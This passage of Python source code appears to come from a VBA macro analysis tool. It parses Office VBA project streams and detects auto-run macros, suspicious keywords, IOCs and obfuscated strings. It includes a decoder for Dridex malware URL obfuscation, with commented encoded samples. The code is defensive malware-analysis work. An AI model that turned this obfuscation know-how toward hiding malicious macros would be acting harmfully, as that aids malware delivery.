struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTSYSKIND_Id', 0x0001, projectsyskind_id) projectsyskind_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTSYSKIND_Size', 0x0004, projectsyskind_size) self.syskind = struct.unpack("<L", dir_stream.read(4))[0] SYSKIND_NAME = { 0x00: "16-bit Windows", 0x01: "32-bit Windows", 0x02: "Macintosh", 0x03: "64-bit Windows" } self.syskind_name = SYSKIND_NAME.get(self.syskind, 'Unknown') log.debug("PROJECTSYSKIND_SysKind: %d - %s" % (self.syskind, self.syskind_name)) if self.syskind not in SYSKIND_NAME: log.error("invalid PROJECTSYSKIND_SysKind {0:04X}".format(self.syskind)) # PROJECTLCID Record # Specifies the VBA project's LCID. projectlcid_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLCID_Id', 0x0002, projectlcid_id) projectlcid_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCID_Size', 0x0004, projectlcid_size) # Lcid (4 bytes): An unsigned integer that specifies the LCID value for the VBA project. MUST be 0x00000409. self.lcid = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCID_Lcid', 0x409, self.lcid) # PROJECTLCIDINVOKE Record # Specifies an LCID value used for Invoke calls on an Automation server as specified in [MS-OAUT] section 3.1.4.4. projectlcidinvoke_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLCIDINVOKE_Id', 0x0014, projectlcidinvoke_id) projectlcidinvoke_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCIDINVOKE_Size', 0x0004, projectlcidinvoke_size) # LcidInvoke (4 bytes): An unsigned integer that specifies the LCID value used for Invoke calls. MUST be 0x00000409. self.lcidinvoke = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCIDINVOKE_LcidInvoke', 0x409, self.lcidinvoke) # PROJECTCODEPAGE Record # Specifies the VBA project's code page. projectcodepage_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCODEPAGE_Id', 0x0003, projectcodepage_id) projectcodepage_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTCODEPAGE_Size', 0x0002, projectcodepage_size) self.codepage = struct.unpack("<H", dir_stream.read(2))[0] self.codepage_name = codepages.get_codepage_name(self.codepage) log.debug('Project Code Page: %r - %s' % (self.codepage, self.codepage_name)) self.codec = codepages.codepage2codec(self.codepage) log.debug('Python codec corresponding to code page %d: %s' % (self.codepage, self.codec)) # PROJECTNAME Record # Specifies a unique VBA identifier as the name of the VBA project. projectname_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTNAME_Id', 0x0004, projectname_id) sizeof_projectname = struct.unpack("<L", dir_stream.read(4))[0] log.debug('Project name size: %d bytes' % sizeof_projectname) if sizeof_projectname < 1 or sizeof_projectname > 128: # TODO: raise an actual error? What is MS Office's behaviour? log.error("PROJECTNAME_SizeOfProjectName value not in range [1-128]: {0}".format(sizeof_projectname)) projectname_bytes = dir_stream.read(sizeof_projectname) self.projectname = self.decode_bytes(projectname_bytes) # PROJECTDOCSTRING Record # Specifies the description for the VBA project. projectdocstring_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTDOCSTRING_Id', 0x0005, projectdocstring_id) projectdocstring_sizeof_docstring = struct.unpack("<L", dir_stream.read(4))[0] if projectdocstring_sizeof_docstring > 2000: log.error( "PROJECTDOCSTRING_SizeOfDocString value not in range: {0}".format(projectdocstring_sizeof_docstring)) # DocString (variable): An array of SizeOfDocString bytes that specifies the description for the VBA project. # MUST contain MBCS characters encoded using the code page specified in PROJECTCODEPAGE (section 2.3.4.2.1.4). # MUST NOT contain null characters. docstring_bytes = dir_stream.read(projectdocstring_sizeof_docstring) self.docstring = self.decode_bytes(docstring_bytes) projectdocstring_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTDOCSTRING_Reserved', 0x0040, projectdocstring_reserved) projectdocstring_sizeof_docstring_unicode = struct.unpack("<L", dir_stream.read(4))[0] if projectdocstring_sizeof_docstring_unicode % 2 != 0: log.error("PROJECTDOCSTRING_SizeOfDocStringUnicode is not even") # DocStringUnicode (variable): An array of SizeOfDocStringUnicode bytes that specifies the description for the # VBA project. MUST contain UTF-16 characters. MUST NOT contain null characters. # MUST contain the UTF-16 encoding of DocString. docstring_unicode_bytes = dir_stream.read(projectdocstring_sizeof_docstring_unicode) self.docstring_unicode = docstring_unicode_bytes.decode('utf16', errors='replace') # PROJECTHELPFILEPATH Record - MS-OVBA 2.3.4.2.1.7 projecthelpfilepath_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPFILEPATH_Id', 0x0006, projecthelpfilepath_id) projecthelpfilepath_sizeof_helpfile1 = struct.unpack("<L", dir_stream.read(4))[0] if projecthelpfilepath_sizeof_helpfile1 > 260: log.error( "PROJECTHELPFILEPATH_SizeOfHelpFile1 value not in range: {0}".format(projecthelpfilepath_sizeof_helpfile1)) projecthelpfilepath_helpfile1 = dir_stream.read(projecthelpfilepath_sizeof_helpfile1) projecthelpfilepath_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPFILEPATH_Reserved', 0x003D, projecthelpfilepath_reserved) projecthelpfilepath_sizeof_helpfile2 = struct.unpack("<L", dir_stream.read(4))[0] if projecthelpfilepath_sizeof_helpfile2 != projecthelpfilepath_sizeof_helpfile1: log.error("PROJECTHELPFILEPATH_SizeOfHelpFile1 does not equal PROJECTHELPFILEPATH_SizeOfHelpFile2") projecthelpfilepath_helpfile2 = dir_stream.read(projecthelpfilepath_sizeof_helpfile2) if projecthelpfilepath_helpfile2 != projecthelpfilepath_helpfile1: log.error("PROJECTHELPFILEPATH_HelpFile1 does not equal PROJECTHELPFILEPATH_HelpFile2") # PROJECTHELPCONTEXT Record projecthelpcontext_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPCONTEXT_Id', 0x0007, projecthelpcontext_id) projecthelpcontext_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTHELPCONTEXT_Size', 0x0004, projecthelpcontext_size) projecthelpcontext_helpcontext = struct.unpack("<L", dir_stream.read(4))[0] unused = projecthelpcontext_helpcontext # PROJECTLIBFLAGS Record projectlibflags_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLIBFLAGS_Id', 0x0008, projectlibflags_id) projectlibflags_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLIBFLAGS_Size', 0x0004, projectlibflags_size) projectlibflags_projectlibflags = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLIBFLAGS_ProjectLibFlags', 0x0000, projectlibflags_projectlibflags) # PROJECTVERSION Record projectversion_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTVERSION_Id', 0x0009, projectversion_id) projectversion_reserved = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTVERSION_Reserved', 0x0004, projectversion_reserved) projectversion_versionmajor = struct.unpack("<L", dir_stream.read(4))[0] projectversion_versionminor = struct.unpack("<H", dir_stream.read(2))[0] unused = projectversion_versionmajor unused = projectversion_versionminor # PROJECTCONSTANTS Record projectconstants_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCONSTANTS_Id', 0x000C, projectconstants_id) projectconstants_sizeof_constants = struct.unpack("<L", dir_stream.read(4))[0] if projectconstants_sizeof_constants > 1015: log.error( "PROJECTCONSTANTS_SizeOfConstants value not in range: {0}".format(projectconstants_sizeof_constants)) projectconstants_constants = dir_stream.read(projectconstants_sizeof_constants) projectconstants_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCONSTANTS_Reserved', 0x003C, projectconstants_reserved) projectconstants_sizeof_constants_unicode = struct.unpack("<L", dir_stream.read(4))[0] if projectconstants_sizeof_constants_unicode % 2 != 0: log.error("PROJECTCONSTANTS_SizeOfConstantsUnicode is not even") projectconstants_constants_unicode = dir_stream.read(projectconstants_sizeof_constants_unicode) unused = projectconstants_constants unused = projectconstants_constants_unicode # array of REFERENCE records # Specifies a reference to an Automation type library or VBA project. check = None while True: check = struct.unpack("<H", dir_stream.read(2))[0] log.debug("reference type = {0:04X}".format(check)) if check == 0x000F: break if check == 0x0016: # REFERENCENAME # Specifies the name of a referenced VBA project or Automation type library. reference_id = check reference_sizeof_name = struct.unpack("<L", dir_stream.read(4))[0] reference_name = dir_stream.read(reference_sizeof_name) log.debug('REFERENCE name: %s' % unicode2str(self.decode_bytes(reference_name))) reference_reserved = struct.unpack("<H", dir_stream.read(2))[0] # According to [MS-OVBA] 2.3.4.2.2.2 REFERENCENAME Record: # "Reserved (2 bytes): MUST be 0x003E. MUST be ignored." # So let's ignore it, otherwise it crashes on some files (issue #132) # PR #135 by @c1fe: # contrary to the specification I think that the unicode name # is optional. if reference_reserved is not 0x003E I think it # is actually the start of another REFERENCE record # at least when projectsyskind_syskind == 0x02 (Macintosh) if reference_reserved == 0x003E: #if reference_reserved not in (0x003E, 0x000D): # raise UnexpectedDataError(dir_path, 'REFERENCE_Reserved', # 0x0003E, reference_reserved) reference_sizeof_name_unicode = struct.unpack("<L", dir_stream.read(4))[0] reference_name_unicode = dir_stream.read(reference_sizeof_name_unicode) unused = reference_id unused = reference_name unused = reference_name_unicode continue else: check = reference_reserved log.debug("reference type = {0:04X}".format(check)) if check == 0x0033: # REFERENCEORIGINAL (followed by REFERENCECONTROL) # Specifies the identifier of the Automation type library the containing REFERENCECONTROL's # (section 2.3.4.2.2.3) twiddled type library was generated from. referenceoriginal_id = check referenceoriginal_sizeof_libidoriginal = struct.unpack("<L", dir_stream.read(4))[0] referenceoriginal_libidoriginal = dir_stream.read(referenceoriginal_sizeof_libidoriginal) log.debug('REFERENCE original lib id: %s' % unicode2str(self.decode_bytes(referenceoriginal_libidoriginal))) unused = referenceoriginal_id unused = referenceoriginal_libidoriginal continue if check == 0x002F: # REFERENCECONTROL # Specifies a reference to a twiddled type library and its extended type library. referencecontrol_id = check referencecontrol_sizetwiddled = struct.unpack("<L", dir_stream.read(4))[0] # ignore referencecontrol_sizeof_libidtwiddled = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_libidtwiddled = dir_stream.read(referencecontrol_sizeof_libidtwiddled) log.debug('REFERENCE control twiddled lib id: %s' % unicode2str(self.decode_bytes(referencecontrol_libidtwiddled))) referencecontrol_reserved1 = struct.unpack("<L", dir_stream.read(4))[0] # ignore self.check_value('REFERENCECONTROL_Reserved1', 0x0000, referencecontrol_reserved1) referencecontrol_reserved2 = struct.unpack("<H", dir_stream.read(2))[0] # ignore self.check_value('REFERENCECONTROL_Reserved2', 0x0000, referencecontrol_reserved2) unused = referencecontrol_id unused = referencecontrol_sizetwiddled unused = referencecontrol_libidtwiddled # optional field check2 = struct.unpack("<H", dir_stream.read(2))[0] if check2 == 0x0016: referencecontrol_namerecordextended_id = check referencecontrol_namerecordextended_sizeof_name = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_namerecordextended_name = dir_stream.read( referencecontrol_namerecordextended_sizeof_name) log.debug('REFERENCE control name record extended: %s' % unicode2str( self.decode_bytes(referencecontrol_namerecordextended_name))) referencecontrol_namerecordextended_reserved = struct.unpack("<H", dir_stream.read(2))[0] if referencecontrol_namerecordextended_reserved == 0x003E: referencecontrol_namerecordextended_sizeof_name_unicode = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_namerecordextended_name_unicode = dir_stream.read( referencecontrol_namerecordextended_sizeof_name_unicode) referencecontrol_reserved3 = struct.unpack("<H", dir_stream.read(2))[0] unused = referencecontrol_namerecordextended_id unused = referencecontrol_namerecordextended_name unused = referencecontrol_namerecordextended_name_unicode else: referencecontrol_reserved3 = referencecontrol_namerecordextended_reserved else: referencecontrol_reserved3 = check2 self.check_value('REFERENCECONTROL_Reserved3', 0x0030, referencecontrol_reserved3) referencecontrol_sizeextended = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_sizeof_libidextended = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_libidextended = dir_stream.read(referencecontrol_sizeof_libidextended) referencecontrol_reserved4 = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_reserved5 = struct.unpack("<H", dir_stream.read(2))[0] referencecontrol_originaltypelib = dir_stream.read(16) referencecontrol_cookie = struct.unpack("<L", dir_stream.read(4))[0] unused = referencecontrol_sizeextended unused = referencecontrol_libidextended unused = referencecontrol_reserved4 unused = referencecontrol_reserved5 unused = referencecontrol_originaltypelib unused = referencecontrol_cookie continue if check == 0x000D: # REFERENCEREGISTERED # Specifies a reference to an Automation type library. referenceregistered_id = check referenceregistered_size = struct.unpack("<L", dir_stream.read(4))[0] referenceregistered_sizeof_libid = struct.unpack("<L", dir_stream.read(4))[0] referenceregistered_libid = dir_stream.read(referenceregistered_sizeof_libid) log.debug('REFERENCE registered lib id: %s' % unicode2str(self.decode_bytes(referenceregistered_libid))) referenceregistered_reserved1 = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('REFERENCEREGISTERED_Reserved1', 0x0000, referenceregistered_reserved1) referenceregistered_reserved2 = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('REFERENCEREGISTERED_Reserved2', 0x0000, referenceregistered_reserved2) unused = referenceregistered_id unused = referenceregistered_size unused = referenceregistered_libid continue if check == 0x000E: # REFERENCEPROJECT # Specifies a reference to an external VBA project. referenceproject_id = check referenceproject_size = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_sizeof_libidabsolute = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_libidabsolute = dir_stream.read(referenceproject_sizeof_libidabsolute) log.debug('REFERENCE project lib id absolute: %s' % unicode2str(self.decode_bytes(referenceproject_libidabsolute))) referenceproject_sizeof_libidrelative = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_libidrelative = dir_stream.read(referenceproject_sizeof_libidrelative) log.debug('REFERENCE project lib id relative: %s' % unicode2str(self.decode_bytes(referenceproject_libidrelative))) referenceproject_majorversion = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_minorversion = struct.unpack("<H", dir_stream.read(2))[0] unused = referenceproject_id unused = referenceproject_size unused = referenceproject_libidabsolute unused = referenceproject_libidrelative unused = referenceproject_majorversion unused = referenceproject_minorversion continue log.error('invalid or unknown check Id {0:04X}'.format(check)) # raise an exception instead of stopping abruptly (issue #180) raise UnexpectedDataError(dir_path, 'reference type', (0x0F, 0x16, 0x33, 0x2F, 0x0D, 0x0E), check) #sys.exit(0) def check_value(self, name, expected, value): if expected != value: if self.relaxed: # It happens quite often that some values do not strictly follow # the MS-OVBA specifications, and this does not prevent the VBA # code from being extracted, so here we only raise a warning: log.warning("invalid value for {0} expected {1:04X} got {2:04X}" .format(name, expected, value)) else: raise UnexpectedDataError(self.dir_path, name, expected, value) def parse_project_stream(self): """ Parse the PROJECT stream from the VBA project :return: """ # Open the PROJECT stream: # reference: [MS-OVBA] 2.3.1 PROJECT Stream project_stream = self.ole.openstream(self.project_path) # sample content of the PROJECT stream: ## ID="{5312AC8A-349D-4950-BDD0-49BE3C4DD0F0}" ## Document=ThisDocument/&H00000000 ## Module=NewMacros ## Name="Project" ## HelpContextID="0" ## VersionCompatible32="393222000" ## CMG="F1F301E705E705E705E705" ## DPB="8F8D7FE3831F2020202020" ## GC="2D2FDD81E51EE61EE6E1" ## ## [Host Extender Info] ## &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 ## &H00000002={000209F2-0000-0000-C000-000000000046};Word8.0;&H00000000 ## ## [Workspace] ## ThisDocument=22, 29, 339, 477, Z ## NewMacros=-4, 42, 832, 510, C self.module_ext = {} for line in project_stream: line = self.decode_bytes(line) log.debug('PROJECT: %r' % line) line = line.strip() if '=' in line: # split line at the 1st equal sign: name, value = line.split('=', 1) # looking for code modules # add the code module as a key in the dictionary # the value will be the extension needed later # The value is converted to lowercase, to allow case-insensitive matching (issue #3) value = value.lower() if name == 'Document': # split value at the 1st slash, keep 1st part: value = value.split('/', 1)[0] self.module_ext[value] = CLASS_EXTENSION elif name == 'Module': self.module_ext[value] = MODULE_EXTENSION elif name == 'Class': self.module_ext[value] = CLASS_EXTENSION elif name == 'BaseClass': self.module_ext[value] = FORM_EXTENSION def parse_modules(self): dir_stream = self.dir_stream # projectmodules_id has already been read by the previous loop = 0x000F # projectmodules_id = check #struct.unpack("<H", dir_stream.read(2))[0] # self.check_value('PROJECTMODULES_Id', 0x000F, projectmodules_id) projectmodules_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTMODULES_Size', 0x0002, projectmodules_size) self.modules_count = struct.unpack("<H", dir_stream.read(2))[0] _id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTMODULES_ProjectCookieRecord_Id', 0x0013, _id) size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTMODULES_ProjectCookieRecord_Size', 0x0002, size) projectcookierecord_cookie = struct.unpack("<H", dir_stream.read(2))[0] unused = projectcookierecord_cookie log.debug("parsing {0} modules".format(self.modules_count)) for module_index in xrange(0, self.modules_count): module = VBA_Module(self, self.dir_stream, module_index=module_index) self.modules.append(module) yield (module.code_path, module.filename_str, module.code_str) _ = unused # make pylint happy: now variable "unused" is being used ;-) return def decode_bytes(self, bytes_string, errors='replace'): """ Decode a bytes string to a unicode string, using the project code page :param bytes_string: bytes, bytes string to be decoded :param errors: str, mode to handle unicode conversion errors :return: str/unicode, decoded string """ return bytes_string.decode(self.codec, errors=errors) def fix_bytes(self, bytes_string): """ Change the escaping (value) of a few characters in decompressed VBA code. :param bytes_string: bytes, bytes string to be fixed :return: bytes, fixed string """ if ('"' not in bytes_string): return bytes_string s = "" in_str = False for b in bytes_string: # Track if we are in a string. if (b == '"'): in_str = not in_str # Empirically looks like '\n' may be escaped in strings like this. if ((b == "\n") and in_str): s += chr(0x85) continue s += b s = s.replace("\n" + chr(0x85), "\n") return s def _extract_vba(ole, vba_root, project_path, dir_path, relaxed=True): """ Extract VBA macros from an OleFileIO object. Internal function, do not call directly. vba_root: path to the VBA root storage, containing the VBA storage and the PROJECT stream vba_project: path to the PROJECT stream :param relaxed: If True, only create info/debug log entry if data is not as expected (e.g. opening substream fails); if False, raise an error in this case This is a generator, yielding (stream path, VBA filename, VBA source code) for each VBA code stream """ log.debug('relaxed is %s' % relaxed) project = VBA_Project(ole, vba_root, project_path, dir_path, relaxed) project.parse_project_stream() for code_path, filename, code_data in project.parse_modules(): yield (code_path, filename, code_data) def vba_collapse_long_lines(vba_code): """ Parse a VBA module code to detect continuation line characters (underscore) and collapse split lines. Continuation line characters are replaced by spaces. :param vba_code: str, VBA module code :return: str, VBA module code with long lines collapsed """ # TODO: use a regex instead, to allow whitespaces after the underscore? try: vba_code = vba_code.replace(' _\r\n', ' ') vba_code = vba_code.replace(' _\r', ' ') vba_code = vba_code.replace(' _\n', ' ') except: log.exception('type(vba_code)=%s' % type(vba_code)) raise return vba_code def filter_vba(vba_code): """ Filter VBA source code to remove the first lines starting with "Attribute VB_", which are automatically added by MS Office and not displayed in the VBA Editor. This should only be used when displaying source code for human analysis. Note: lines are not filtered if they contain a colon, because it could be used to hide malicious instructions. :param vba_code: str, VBA source code :return: str, filtered VBA source code """ vba_lines = vba_code.splitlines() start = 0 for line in vba_lines: if line.startswith("Attribute VB_") and not ':' in line: start += 1 else: break #TODO: also remove empty lines? vba = '\n'.join(vba_lines[start:]) return vba def detect_autoexec(vba_code, obfuscation=None): """ Detect if the VBA code contains keywords corresponding to macros running automatically when triggered by specific actions (e.g. when a document is opened or closed). :param vba_code: str, VBA source code :param obfuscation: None or str, name of obfuscation to be added to description :return: list of str tuples (keyword, description) """ #TODO: merge code with detect_suspicious # case-insensitive search #vba_code = vba_code.lower() results = [] obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation # 1) simple strings, without regex for description, keywords in AUTOEXEC_KEYWORDS.items(): for keyword in keywords: #TODO: if keyword is already a compiled regex, use it as-is # search using regex to detect word boundaries: match = re.search(r'(?i)\b' + re.escape(keyword) + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) # 2) regex for description, keywords in AUTOEXEC_KEYWORDS_REGEX.items(): for keyword in keywords: #TODO: if keyword is already a compiled regex, use it as-is # search using regex to detect word boundaries: match = re.search(r'(?i)\b' + keyword + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) return results def detect_suspicious(vba_code, obfuscation=None): """ Detect if the VBA code contains suspicious keywords corresponding to potential malware behaviour. :param vba_code: str, VBA source code :param obfuscation: None or str, name of obfuscation to be added to description :return: list of str tuples (keyword, description) """ # case-insensitive search #vba_code = vba_code.lower() results = [] obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation for description, keywords in SUSPICIOUS_KEYWORDS.items(): for keyword in keywords: # search using regex to detect word boundaries: # note: each keyword must be escaped if it contains special chars such as '\' match = re.search(r'(?i)\b' + re.escape(keyword) + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) for description, keywords in SUSPICIOUS_KEYWORDS_REGEX.items(): for keyword in keywords: # search using regex to detect word boundaries: # note: each keyword must NOT be escaped because it is an actual regex match = re.search(r'(?i)\b' + keyword + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) for description, keywords in SUSPICIOUS_KEYWORDS_NOREGEX.items(): for keyword in keywords: if keyword.lower() in vba_code: # avoid reporting backspace chars out of plain VBA code: if not(keyword=='\b' and obfuscation is not None): results.append((keyword, description + obf_text)) return results def detect_patterns(vba_code, obfuscation=None): """ Detect if the VBA code contains specific patterns such as IP addresses, URLs, e-mail addresses, executable file names, etc. :param vba_code: str, VBA source code :return: list of str tuples (pattern type, value) """ results = [] found = set() obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation for pattern_type, pattern_re in RE_PATTERNS: for match in pattern_re.finditer(vba_code): value = match.group() exclude_pattern_found = False for url_exclude_pattern in EXCLUDE_URLS_PATTERNS: if value.startswith(url_exclude_pattern): exclude_pattern_found = True if value not in found and not exclude_pattern_found: results.append((pattern_type + obf_text, value)) found.add(value) return results def detect_hex_strings(vba_code): """ Detect if the VBA code contains strings encoded in hexadecimal. :param vba_code: str, VBA source code :return: list of str tuples (encoded string, decoded string) """ results = [] found = set() for match in re_hex_string.finditer(vba_code): value = match.group() if value not in found: decoded = bytes2str(binascii.unhexlify(value)) results.append((value, decoded)) found.add(value) return results def detect_base64_strings(vba_code): """ Detect if the VBA code contains strings encoded in base64. :param vba_code: str, VBA source code :return: list of str tuples (encoded string, decoded string) """ #TODO: avoid matching simple hex strings as base64? results = [] found = set() for match in re_base64_string.finditer(vba_code): # extract the base64 string without quotes: value = match.group().strip('"') # check it is not just a hex string: if not re_nothex_check.search(value): continue # only keep new values and not in the whitelist: if value not in found and value.lower() not in BASE64_WHITELIST: try: decoded = bytes2str(base64.b64decode(value)) results.append((value, decoded)) found.add(value) except (TypeError, ValueError) as exc: log.debug('Failed to base64-decode (%s)' % exc) # if an exception occurs, it is likely not a base64-encoded string return results # DridexUrlDecode written by James Habben # Originally published on https://github.com/JamesHabben/MalwareStuff # included here with James' permission # 2015-01-27 Slight modifications from Philippe Lagadec (PL) to use it from olevba def StripChars (input) : result = '' for c in input : if c.isdigit() : result += c return int(result) def StripCharsWithZero (input) : result = '' for c in input : if c.isdigit() : result += c else: result += '0' return int(result) def DridexUrlDecode (inputText) : work = inputText[4:-4] strKeyEnc = StripCharsWithZero(work[(len(work) / 2) - 2: (len(work) / 2)]) strKeySize = StripCharsWithZero(work[(len(work) / 2): (len(work) / 2) + 2]) nCharSize = strKeySize - strKeyEnc work = work[:(len(work) / 2) - 2] + work[(len(work) / 2) + 2:] strKeyEnc2 = StripChars(work[(len(work) / 2) - (nCharSize/2): (len(work) / 2) + (nCharSize/2)]) work = work[:(len(work) / 2) - (nCharSize/2)] + work[(len(work) / 2) + (nCharSize/2):] work_split = [work[i:i+nCharSize] for i in range(0, len(work), nCharSize)] decoded = '' for group in work_split: # sys.stdout.write(chr(StripChars(group)/strKeyEnc2)) decoded += chr(StripChars(group)/strKeyEnc2) return decoded # DridexUrlDecode("C3iY1epSRGe6q8g15xStVesdG717MAlg2H4hmV1vkL6Glnf0cknj") # DridexUrlDecode("HLIY3Nf3z2k8jD37h1n2OM3N712DGQ3c5M841RZ8C5e6P1C50C4ym1oF504WyV182p4mJ16cK9Z61l47h2dU1rVB5V681sFY728i16H3E2Qm1fn47y2cgAo156j8T1s600hukKO1568X1xE4Z7d2q17jvcwgk816Yz32o9Q216Mpr0B01vcwg856a17b9j2zAmWf1536B1t7d92rI1FZ5E36Pu1jl504Z34tm2R43i55Lg2F3eLE3T28lLX1D504348Goe8Gbdp37w443ADy36X0h14g7Wb2G3u584kEG332Ut8ws3wO584pzSTf") # DridexUrlDecode("YNPH1W47E211z3P6142cM4115K2J1696CURf1712N1OCJwc0w6Z16840Z1r600W16Z3273k6SR16Bf161Q92a016Vr16V1pc") def detect_dridex_strings(vba_code): """ Detect if the VBA code contains strings obfuscated with a specific algorithm found in Dridex samples. :param vba_code: str, VBA source code :return: list of str tuples (encoded string, decoded string) """ results = [] found = set() for match in re_dridex_string.finditer(vba_code): value = match.group()[1:-1] # check it is not just a hex string: if not re_nothex_check.search(value): continue if value not in found: try: decoded = bytes2str(DridexUrlDecode(value)) results.append((value, decoded)) found.add(value) except Exception as exc: log.debug('Failed to Dridex-decode (%s)' % exc) # if an exception occurs, it is likely not a dridex-encoded string return results def detect_vba_strings(vba_code): """ Detect if the VBA code contains strings obfuscated with VBA expressions using keywords such as Chr, Asc, Val, StrReverse, etc. :param vba_code: str, VBA source code :return: list of str tuples (encoded string, decoded string) """ # TODO: handle exceptions results = [] found = set() # IMPORTANT: to extract the actual VBA expressions found in the code, # we must expand tabs to have the same string as pyparsing. # Otherwise, start and end offsets are incorrect. vba_code = vba_code.expandtabs() # Split the VBA code line by line to avoid MemoryError on large scripts: for vba_line in vba_code.splitlines(): for tokens, start, end in vba_expr_str.scanString(vba_line): encoded = vba_line[start:end] decoded = tokens[0] if isinstance(decoded, VbaExpressionString): # This is a VBA expression, not a simple string # print 'VBA EXPRESSION: encoded=%r => decoded=%r' % (encoded, decoded) # remove parentheses and quotes from original string: # if encoded.startswith('(') and encoded.endswith(')'): # encoded = encoded[1:-1] # if encoded.startswith('"') and encoded.endswith('"'): # encoded = encoded[1:-1] # avoid duplicates and simple strings: if encoded not in found and decoded != encoded: results.append((encoded, decoded)) found.add(encoded) # else: # print 'VBA STRING: encoded=%r => decoded=%r' % (encoded, decoded) return results def json2ascii(json_obj, encoding='utf8', errors='replace'): """ ensure there is no unicode in json and all strings are safe to decode works recursively, decodes and re-encodes every string to/from unicode to ensure there will be no trouble in loading the dumped json output """ if json_obj is None: pass elif isinstance(json_obj, (bool, int, float)): pass elif isinstance(json_obj, str): if PYTHON2: # de-code and re-encode dencoded = json_obj.decode(encoding, errors).encode(encoding, errors) if dencoded != json_obj: log.debug('json2ascii: replaced: {0} (len {1})' .format(json_obj, len(json_obj))) log.debug('json2ascii: with: {0} (len {1})' .format(dencoded, len(dencoded))) return dencoded else: # on Python 3, just keep Unicode strings as-is: return json_obj elif isinstance(json_obj, unicode) and PYTHON2: # On Python 2, encode unicode to bytes: json_obj_bytes = json_obj.encode(encoding, errors) log.debug('json2ascii: encode unicode: {0}'.format(json_obj_bytes)) # cannot put original into logger # print 'original: ' json_obj return json_obj_bytes elif isinstance(json_obj, bytes) and not PYTHON2: # On Python 3, decode bytes to unicode str json_obj_str = json_obj.decode(encoding, errors) log.debug('json2ascii: encode unicode: {0}'.format(json_obj_str)) # cannot put original into logger # print 'original: ' json_obj return json_obj_str elif isinstance(json_obj, dict): for key in json_obj: json_obj[key] = json2ascii(json_obj[key]) elif isinstance(json_obj, (list,tuple)): for item in json_obj: item = json2ascii(item) else: log.debug('unexpected type in json2ascii: {0} -- leave as is' .format(type(json_obj))) return json_obj def print_json(json_dict=None, _json_is_first=False, _json_is_last=False, **json_parts): """ line-wise print of json.dumps(json2ascii(..)) with options and indent+1 can use in two ways: (1) print_json(some_dict) (2) print_json(key1=value1, key2=value2, ...) :param bool _json_is_first: set to True only for very first entry to complete the top-level json-list :param bool _json_is_last: set to True only for very last entry to complete the top-level json-list """ if json_dict and json_parts: raise ValueError('Invalid json argument: want either single dict or ' 'key=value parts but got both)') elif (json_dict is not None) and (not isinstance(json_dict, dict)): raise ValueError('Invalid json argument: want either single dict or ' 'key=value parts but got {0} instead of dict)' .format(type(json_dict))) if json_parts: json_dict = json_parts if _json_is_first: print('[') lines = json.dumps(json2ascii(json_dict), check_circular=False, indent=4, ensure_ascii=False).splitlines() for line in lines[:-1]: print(' {0}'.format(line)) if _json_is_last: print(' {0}'.format(lines[-1])) # print last line without comma print(']') else: print(' {0},'.format(lines[-1])) # print last line with comma class VBA_Scanner(object): """ Class to scan the source code of a VBA module to find obfuscated strings, suspicious keywords, IOCs, auto-executable macros, etc. """ def __init__(self, vba_code): """ VBA_Scanner constructor :param vba_code: str, VBA source code to be analyzed """ # join long lines ending with " _": self.code = vba_collapse_long_lines(vba_code) self.code_hex = '' self.code_hex_rev = '' self.code_rev_hex = '' self.code_base64 = '' self.code_dridex = '' self.code_vba = '' self.strReverse = None # results = None before scanning, then a list of tuples after scanning self.results = None self.autoexec_keywords = None self.suspicious_keywords = None self.iocs = None self.hex_strings = None self.base64_strings = None self.dridex_strings = None self.vba_strings = None def scan(self, include_decoded_strings=False, deobfuscate=False): """ Analyze the provided VBA code to detect 